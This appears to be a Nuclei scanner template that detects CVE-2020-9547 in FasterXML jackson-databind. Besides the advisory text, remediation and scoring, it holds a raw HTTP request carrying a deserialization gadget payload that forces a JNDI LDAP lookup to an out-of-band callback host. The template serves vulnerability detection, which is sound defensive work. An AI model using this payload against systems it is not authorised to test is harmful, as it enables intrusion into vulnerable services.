FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
PoC
id: CVE-2020-9547
info:
name: FasterXML jackson-databind - Deserialization Remote Code Execution
author: pranjalnegi
severity: critical
description: |
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
impact: |
Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
remediation: |
Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
reference:
- https://github.com/fairyming/CVE-2020-9547
- https://github.com/FasterXML/jackson-databind/issues/2620
- https://nvd.nist.gov/vuln/detail/CVE-2020-9547
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-9547
cwe-id: CWE-502
epss-score: 0.18383
epss-percentile: 0.9708
cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fasterxml
product: jackson-databind
verified: true
tags: cve,cve2020,jackson,databind,deserialization,rce,vkev,vuln
variables:
randstr: "{{rand_text_alphanumeric(8)}}"
payload_jndi_ldap: "ldap://{{interactsh-url}}/{{randstr}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["java.util.Properties",{"UserTransaction":"{{payload_jndi_ldap}}"}]}]
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'dns')"
- "contains_any(content_type, 'application/json', 'text/plain')"
- "status_code == 200 || status_code == 400 || status_code == 500"
condition: and
- type: word
part: body
words:
- "JsonMappingException"
- "InvalidTypeIdException"
- "JdbcRowSetImpl"
- "com.fasterxml.jackson.databind"
- "javax.naming.NamingException"
condition: or
# digest: 490a0046304402206e99743e33b148214023e305734ec87914ecf91997149e611e983515e0a733e602204c603a03516c6ddfe5803619bc9ab9fda6919fcf77744e1e272f58c32ed4c6ba:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.